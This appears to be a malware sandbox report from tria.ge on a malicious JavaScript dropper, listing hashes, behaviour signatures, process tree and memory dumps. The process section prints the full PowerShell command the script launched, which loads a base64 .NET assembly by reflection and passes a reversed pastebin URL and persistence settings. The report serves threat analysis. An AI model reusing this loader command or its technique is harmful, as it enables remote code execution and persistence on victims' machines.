Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

8

Static

static

1

ca5a213e12...ccc.js

windows7-x64

8

ca5a213e12...ccc.js

windows10-2004-x64

8

Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/09/2024, 01:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ca5a213e123d830ad88e6eb9da341326fa6ea6c5bb535069406f9454b5aecccc.js

  • Size

    5KB

  • MD5

    709df3d382b86fffeda0e0c534206ec1

  • SHA1

    570e38194e3d5e977af449ca2fe1ef9f05b9c7de

  • SHA256

    ca5a213e123d830ad88e6eb9da341326fa6ea6c5bb535069406f9454b5aecccc

  • SHA512

    8e6d6a7038ae9f3edcec8b2bdbb536f356fe565b11f6114fc06425a1e1efeaa84693e2750d3b4a843daccb799bfc37b8a6b0fd3d8296c43909174b5179ae2365

  • SSDEEP

    96:XHSZyZ020gtthyohPx1MMEqzHQH0TqfpkIiup77jIf:i/dyU4I370

Score
8/10
discoveryexecution

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ca5a213e123d830ad88e6eb9da341326fa6ea6c5bb535069406f9454b5aecccc.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -Command "$data = '<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=0,minimal-ui"> <meta name="csrf-token" content="1wLfXtpkMujfoikJklSVmbaLBByAStDusBuY0s36"> <title>Pastebin &amp; TextBin</title> <link rel="shortcut icon" href="https://pastebin.ai/uploads/GZ6SXj2LcI.png" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.5/css/select2.min.css" /> <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,400;0,500;0,600;1,400;1,500;1,600" rel="stylesheet"> <!-- BEGIN: Vendor CSS--> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/vendors.min.css?v=2"> <!-- END: Vendor CSS--> <!-- BEGIN: Theme CSS--> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/bootstrap.min.css?v=2"> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/bootstrap-extended.min.css?v=2"> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/colors.min.css?v=2"> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/components.min.css?v=2"> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/dark-layout.min.css?v=2"> <!-- BEGIN: Page CSS--> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/horizontal-menu.min.css?v=2"> <!-- END: Page CSS--> <!-- BEGIN: Custom CSS--> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/custom.min.css?v=2"> <link rel="stylesheet" type="text/css" href="https://pastebin.ai/assets/css/nav.min.css"> <!-- END: Custom CSS--> <style type="text/css"> </style> <meta name="yandex-verification" content="25b16171a5177092" /> <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/vaakash/socializer@f4c4e9/css/socializer.min.css"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v6.4.2/css/all.css"> <!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-3H7EPX2DBX"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-3H7EPX2DBX'); </script> <script type="text/javascript"> var infolinks_pid = 3419213; var infolinks_wsid = 0; </script> <script type="text/javascript" src="//resources.infolinks.com/js/infolinks_main.js"></script> <meta name="google-adsense-account" content="ca-pub-5490730855939658"> <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5490730855939658" crossorigin="anonymous"></script> </head> <body class="horizontal-layout horizontal-menu navbar-sticky footer-static " data-open="hover" data-menu="horizontal-menu" data-col=""> <!-- BEGIN: Header--> <nav class="header-navbar navbar-expand-lg navbar navbar-fixed align-items-center navbar-shadow navbar-brand-center" data-nav="brand-center"> <!-- <div class="navbar-header d-xl-block d-none"> <ul class="nav navbar-nav"> <li class="nav-item"><a class="navbar-brand" href="https://pastebin.ai"> <span class="brand-logo"> <h1 class="mb-0">Pastebin &amp; TextBin</h1> </span> </a></li> </ul> --> </div> <div class="navbar-container d-flex content top_menu"> <div class="bookmark-wrapper d-flex align-items-center"> <ul class="nav navbar-nav d-xl-none"> <li class="nav-item"><a class="nav-link menu-toggle" href="javascript:void(0);"><i class="ficon" data-feather="menu"></i></a></li> </ul> <div class="navbar-container main-menu-content pc_menu" data-menu="menu-container"> <ul class="nav navbar-nav" id="main-menu-navigation" data-menu="menu-navigation"> <li class="nav-item"> <a class="nav-link d-flex align-items-center btn btn-success waves-effect waves-float waves-light" href="https://pastebin.ai"> <i data-feather="file-plus" class="text-white"></i> New paste </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai"> <i data-feather="home"></i> Home </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai/trending"> <i data-feather="award"></i> Trending </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai/archive"> <i data-feather="archive"></i> Archive </a> </li> </ul> </div> </div> <div class="logo"> <ul class="nav navbar-nav"> <li class="nav-item"><a class="navbar-brand" href="https://pastebin.ai"> <span class="brand-logo"> <h1 class="mb-0">Pastebin &amp; TextBin</h1> </span> </a></li> </ul> </div> <div class="other_menu"> <ul class="nav navbar-nav align-items-center ml-auto"> <li class="nav-item dropdown dropdown-language"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink" href="javascript:void(0);" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="flag-icon flag-icon-us"></i><span class="selected-language"> English</span> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdownMenuLink"> <a class="dropdown-item" href="https://pastebin.ai/lang/en" data-language="us"><i class="flag-icon flag-icon-us"></i> English</a> </div> </li> <li class="nav-item d-lg-block"> <a class="nav-link nav-link-style"> <i class="ficon" data-feather="moon"></i> </a> </li> <li class="nav-item nav-search"><a class="nav-link nav-link-search"><i class="ficon" data-feather="search"></i></a> <form method="get" action="https://pastebin.ai/search"> <div class="search-input"> <div class="search-input-icon"><i data-feather="search"></i></div> <input class="form-control input" name="keyword" type="text" placeholder="Search Pastes..." tabindex="-1" data-search="search"> <div class="search-input-close"><i data-feather="x"></i></div> </div> </form> </li> <li class="nav-item dropdown dropdown-user"> <a class="nav-link dropdown-toggle dropdown-user-link" id="dropdown-user" href="javascript:void(0);" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <div class="user-nav d-sm-flex d-none"> <span class="user-name font-weight-bolder">Guest</span><span class="user-status">Sign up or login</span> </div> <span class="avatar"> <img class="round" src="https://pastebin.ai/img/default-avatar.png" alt="Guest" height="40" width="40"> <span class="avatar-status-online"></span> </span> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="dropdown-user"> <a class="dropdown-item" href="https://pastebin.ai/register"><i class="mr-50" data-feather="user-plus"></i> Sign up</a> <a class="dropdown-item" href="https://pastebin.ai/login"><i class="mr-50" data-feather="log-in"></i> Login</a> </div> </li> </ul> </div> </div> </nav> <!-- END: Header--> <!-- BEGIN: Main Menu--> <div class="horizontal-menu-wrapper mobile_view"> <div class="header-navbar navbar-expand-sm navbar navbar-horizontal navbar-light navbar-shadow menu-border fixed-top" role="navigation" data-menu="menu-wrapper" data-menu-type="floating-nav"> <div class="navbar-header"> <ul class="nav navbar-nav flex-row"> <li class="nav-item mr-auto"><a class="navbar-brand" href="https://pastebin.ai"> <span class="brand-logo"> <h1 class="mb-0">Pastebin &amp; TextBin</h1> </span> </a></li> <li class="nav-item nav-toggle"><a class="nav-link modern-nav-toggle pr-0" data-toggle="collapse"><i class="d-block d-xl-none text-primary toggle-icon font-medium-4" data-feather="x"></i></a></li> </ul> </div> <div class="shadow-bottom"></div> <!-- Horizontal menu content test--> <div class="navbar-container main-menu-content" data-menu="menu-container"> <ul class="nav navbar-nav" id="main-menu-navigation" data-menu="menu-navigation"> <li class="nav-item"> <a class="nav-link d-flex align-items-center btn btn-success waves-effect waves-float waves-light" href="https://pastebin.ai"> <i data-feather="file-plus" class="text-white"></i> New paste </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai"> <i data-feather="home"></i> Home </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai/trending"> <i data-feather="award"></i> Trending </a> </li> <li class="nav-item "> <a class="nav-link d-flex align-items-center" href="https://pastebin.ai/archive"> <i data-feather="archive"></i> Archive </a> </li> </ul> </div> </div> </div> </div> <!-- END: Main Menu--> <!-- BEGIN: Content--> <div class="app-content content "> <div class="content-overlay"></div> <div class="header-navbar-shadow"></div> <div class="content-wrapper container p-0"> <div class="content-header row"> </div> <div class="content-body"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <div class="d-flex align-items-center"> <i data-feather="bookmark" class="card-title-icon"></i> <h1 class="card-title">Page not found.</h1> </div> </div> <div class="card-body text-center"> <div class="title" style="font-size: 156px;">404</div> <div class="quote" style="font-size: 36px;">Page not found.</div> <div class="explanation" style="font-size: 24px;"> <br> <small> Please return to <a href="https://pastebin.ai">our homepage</a>. </small> </div> </div> </div> </div> </div> </div> </div> </div> <!-- END: Content--> <div class="sidenav-overlay"></div> <div class="drag-target"></div> <!--Footer--> <footer class="page-footer text-center text-md-left mt-0 pt-4"> <!--Footer links--> <div class="container-fluid"> <div class="row"> <!--First column--> <div class="col-lg-4 col-md-6 ml-auto"> <h5 class="title mb-3"><strong>About Pastebin &amp; TextBin</strong></h5> <p>Pastebin.ai is a modern text-sharing platform designed to offer a user-friendly and efficient way to store, share, and manage text online. It provides essential features such as syntax highlighting, privacy settings, and expiration options, making it a versatile alternative to Pastebin.com. With its focus on simplicity and core functionalities, Pastebin.ai is ideal for users seeking a straightforward and effective solution for text sharing.</p> <a href="https://www.facebook.com/pastebinai/" class="mr-1" target="_blank"> <div class="avatar bg-light-primary"> <div class="avatar-content"> <i data-feather="facebook" class="avatar-icon font-medium-3"></i> </div> </div> </a> <a href="https://twitter.com/pastebinai" class="mr-1" target="_blank"> <div class="avatar bg-light-primary"> <div class="avatar-content"> <i data-feather="twitter" class="avatar-icon"></i> </div> </div> </a> <a href="https://www.linkedin.com/company/pastesio/" class="mr-1" target="_blank"> <div class="avatar bg-light-primary"> <div class="avatar-content"> <i data-feather="linkedin" class="avatar-icon"></i> </div> </div> </a> </div> <!--/.First column--> <hr class="w-100 clearfix d-sm-none"> <!--Second column--> <div class="col-lg-3 col-md-6 ml-auto"> <h5 class="title mb-3"><strong>Pages</strong></h5> <ul class="list-unstyled"> <li> <a href="https://pastebin.ai/pages/abuse">Abuse</a> </li> <li> <a href="https://pastebin.ai/pages/bug-bounty">Bug Bounty</a> </li> <li> <a href="https://pastebin.ai/pages/code-snippets">Code snippets</a> </li> <li> <a href="https://pastebin.ai/pages/content-policy">Content Policy</a> </li> <li> <a href="https://pastebin.ai/pages/dmca">DMCA</a> </li> <li> <a href="https://pastebin.ai/pages/faq">FAQ</a> </li> <li> <a href="https://pastebin.ai/pages/gdpr">GDPR</a> </li> <li> <a href="https://pastebin.ai/pages/github-gist-alternative">Github Gist Alternative</a> </li> <li> <a href="https://pastebin.ai/pages/justpaste-alternative">JustPaste.it Alternative</a> </li> <li> <a href="https://pastebin.ai/pages/minecraft-server-logs">Minecraft Server logs</a> </li> <li> <a href="https://pastebin.ai/pages/new-pastebin">New Pastebin</a> </li> <li> <a href="https://pastebin.ai/pages/pastebin-search">Pastebin Search</a> </li> <li> <a href="https://pastebin.ai/pages/pastebin-alternative">Pastebin.com - [Pastebin Alternative]</a> </li> <li> <a href="https://pastebin.ai/pages/pastebin">Pastebin</a> </li> <li> <a href="https://pastebin.ai/pages/privacy-policy">Privacy Policy</a> </li> <li> <a href="https://pastebin.ai/pages/security">Security</a> </li> <li> <a href="https://pastebin.ai/pages/terms">Terms &amp; Condition</a> </li> <li> <a href="https://pastebin.ai/pages/textbinnet-alternative">Textbin.net Alternative</a> </li> <li> <a href="https://pastebin.ai/pages/textbin">Textbin</a> </li> </ul> </div> <!--/.Second column--> <hr class="w-100 clearfix d-sm-none"> <!--Third column--> <div class="col-lg-3 col-md-6 ml-auto"> <h5 class="title mb-3"><strong>Useful Links</strong></h5> <ul class="list-unstyled"> <li> <a href="https://pastebin.ai/archive">Syntax Languages</a> </li> <li> <a href="https://pastebin.ai/contact">Contact Us</a> </li> <li> <a href="https://pastebin.ai/sitemap.xml">Sitemap</a> </li> <li> <a href="https://documenter.getpostman.com/view/25405096/2s8ZDVb4jt#intro">API Docs</a> </li> </ul> </div> <!--/.Third column--> <hr class="w-100 clearfix d-sm-none"> </div> </div> <!--/.Footer links--> <!--Copyright--> <div class="footer-copyright py-3 text-center"> <div class="containter-fluid"> © 2024 <a href="https://pastebin.ai">Pastebin &amp; TextBin</a> All rights Reserved.</div> </div> <!--/.Copyright--> </footer> <!--/.Footer--> <!-- COOKIES --> <div class="card text-center cookiealert"> <div class="card-body"> <b>Do you like cookies?</b> &#x1F36A; We use cookies to ensure you get the best experience on our website. <a href="https://pastebin.ai/pages/privacy-policy" target="_blank">Learn more</a> <button type="button" class="btn btn-primary acceptcookies" aria-label="Close"> I agree </button> </div> </div> <!-- /COOKIES --> <script> var max_content_size_kb = 2500; var paste_editor_height = 30; var ad_block_message = 'Ad Block Detected'; var isAdBlockActive = true; </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.5/js/select2.min.js"></script> <script src="https://pastebin.ai/js/prebid-ads.js"></script> <script src="https://pastebin.ai/plugins/cookiealert/cookiealert.min.js"></script> <script src="https://pastebin.ai/assets/js/app.min.js?v=1.5"></script> <!-- BEGIN:Vendor JS--> <script src="https://pastebin.ai/assets/js/vendors.min.js?v=2"></script> <!-- BEGIN Vendor JS--> <!-- BEGIN: Page Vendor JS--> <script src="https://pastebin.ai/assets/js/jquery.sticky.min.js?v=2"></script> <script src="https://pastebin.ai/assets/js/components-popovers.min.js?v=2"></script> <script src="https://pastebin.ai/assets/js/components-modals.min.js?v=2"></script> <!-- END: Page Vendor JS--> <!-- BEGIN: Theme JS--> <script src="https://pastebin.ai/assets/js/app-menu.min.js?v=2"></script> <script src="https://pastebin.ai/assets/js/app.min.js?v=3"></script> <!-- END: Theme JS--> <script src="https://pastebin.ai/assets/js/custom.min.js?v=3"></script> <!-- BEGIN: Page JS--> <script> $(window).on('load', function() { if (feather) { feather.replace({ width: 14, height: 14 }); } }) </script> <script src="https://cdn.counter.dev/script.js" data-id="f9eedfb8-c242-4d48-9840-f7f9cccecd7d" data-utcoffset="2"></script> <div class="sr-sharebar sr-sb-vl sr-sb-center"><div class="socializer" data-features="32px,circle,float,vertical,bg-white,sw-1,pad" data-sites="facebook,x,reddit,hackernews,telegram" data-text="in"></div></div> <script src="https://cdn.jsdelivr.net/gh/vaakash/socializer@f4c4e9/js/socializer.min.js"></script> <script> (function(){ socializer( '.socializer' ); }()); </script> <script type="text/javascript"> var infolinks_pid = 3419213; var infolinks_wsid = 0; </script> <script type="text/javascript" src="//resources.infolinks.com/js/infolinks_main.js"></script></body> </html>';[Byte[]] $byteArray = [System.Convert]::FromBase64String($data);[System.AppDomain]::CurrentDomain.Load($byteArray).GetType('ClassLibrary2.clasudo').GetMethod('ljdhsy').Invoke($null, [object[]] ('vGZc576y/war/moc.nibetsap//:sptth', 'C:\Users\Admin\AppData\Local\Temp\ca5a213e123d830ad88e6eb9da341326fa6ea6c5bb535069406f9454b5aecccc.js', 'Name Startup ink', '3', '1', 'Regedit Name'));"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x10x0r5z.foa.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/712-0-0x00007FFCC7793000-0x00007FFCC7795000-memory.dmp

    Filesize

    8KB

    Download

  • memory/712-1-0x000001C8F5650000-0x000001C8F5672000-memory.dmp

    Filesize

    136KB

    Download

  • memory/712-11-0x00007FFCC7790000-0x00007FFCC8251000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/712-12-0x00007FFCC7790000-0x00007FFCC8251000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/712-13-0x000001C8F7AF0000-0x000001C8F7B34000-memory.dmp

    Filesize

    272KB

    Download

  • memory/712-14-0x00007FFCC7790000-0x00007FFCC8251000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/712-15-0x000001C8F7BC0000-0x000001C8F7C36000-memory.dmp

    Filesize

    472KB

    Download

  • memory/712-16-0x00007FFCC7793000-0x00007FFCC7795000-memory.dmp

    Filesize

    8KB

    Download

  • memory/712-17-0x00007FFCC7790000-0x00007FFCC8251000-memory.dmp

    Filesize

    10.8MB

    Download